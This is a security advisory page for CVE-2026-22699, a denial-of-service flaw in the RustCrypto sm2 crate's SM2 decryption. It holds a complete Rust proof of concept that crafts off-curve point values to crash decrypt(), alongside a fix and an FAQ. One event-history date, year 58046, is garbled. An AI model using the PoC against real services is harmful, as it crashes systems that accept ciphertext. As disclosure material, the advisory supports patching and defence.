CVE-2026-22699: RustCrypto SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()

Published Jan 9, 2026
·
Updated

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::fromencodedpoint(&encodedc1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

- File: src/pke/decrypting.rs

- Function: internal decrypt() (invoked by DecryptingKey::decrypt methods)

- Affected releases:

- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::fromencodedpoint(&encodedc1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::frombytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger fromencodedpoint() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/pocderinvalidpoint.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decryptder. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

rust //! PoC: trigger invalid-point panic via decryptder by providing ASN.1 DER //! where x/y are valid-length integers but do not lie on the curve. //! //! Usage: //! RUSTBACKTRACE=1 cargo run --example pocderinvalidpoint

use randcore::OsRng; use sm2::SecretKey; use sm2::pke::DecryptingKey;

fn buildder(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> { // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher } let mut body = Vec::new();

// INTEGER x body.push(0x02); body.push(x.len() as u8); body.extendfromslice(x);

// INTEGER y body.push(0x02); body.push(y.len() as u8); body.extendfromslice(y);

// OCTET STRING digest body.push(0x04); body.push(digest.len() as u8); body.extendfromslice(digest);

// OCTET STRING cipher body.push(0x04); body.push(cipher.len() as u8); body.extendfromslice(cipher);

// SEQUENCE header let mut der = Vec::new(); der.push(0x30); der.push(body.len() as u8); der.extend(body); der }

fn main() { let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk);

// x/y are 32-byte values that almost certainly are NOT on the curve let x = [0x11u8; 32]; let y = [0x22u8; 32]; let digest = [0x33u8; 32]; let cipher = [0x44u8; 16];

let der = buildder(&x, &y, &digest, &cipher);

println!("Calling decryptder with DER (len={})...", der.len());

// Expected to panic in decrypt() when validating the point (fromencodedpoint().unwrap()) let = dk.decryptder(&der);

println!("decryptder returned (unexpected) - PoC did not panic"); }

Run locally:

bash RUSTBACKTRACE=1 cargo run --example pocderinvalidpoint --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the fromencodedpoint(...).unwrap() call.

Impact

- Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process. - Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial. - Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::fromencodedpoint(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

rust // Return an error instead of panicking when the provided point is not on the curve. let mut c1point: AffinePoint = match AffinePoint::fromencodedpoint(&encodedc1).into() { Some(p) => p, None => return Err(Error), };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

- XlabAI Team of Tencent Xuanwu Lab

- Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Other sources

RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::fromencodedpoint(&encodedc1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.

MITRE

Affected Software

3 affected components
rust/sm2>=0.14.0-pre.0<=0.14.0-rc.4
RustCrypto Sm2 Elliptic Curve Rust=0.14.0-pre0
RustCrypto Sm2 Elliptic Curve Rust=0.14.0-rc0

Event History

Jan 9, 2026
Advisory Published
via GitHub·10:35 PM
Data Sourced
via GitHub·10:35 PM
DescriptionSeverityWeaknessAffected Software
Jan 10, 2026
CVE Published
via MITRE·05:17 AM
Data Sourced
via MITRE·05:17 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 AM
RemedyAffected Software
Aug 28, 58046
Event
via FIRST·10:42 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-22699?

CVE-2026-22699 is classified as a denial-of-service vulnerability that can potentially disrupt system availability.

2

How do I fix CVE-2026-22699?

To address CVE-2026-22699, you should update the sm2 package to a version beyond 0.14.0-rc.4.

3

What software is affected by CVE-2026-22699?

CVE-2026-22699 affects the sm2 package within specific versions of Rust.

4

What specific issue does CVE-2026-22699 cause?

CVE-2026-22699 may result in a denial of service if an invalid elliptic-curve point is processed during decryption.

5

Where can I find more information about CVE-2026-22699?

Additional information about CVE-2026-22699 can be found in security advisories related to the sm2 package.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203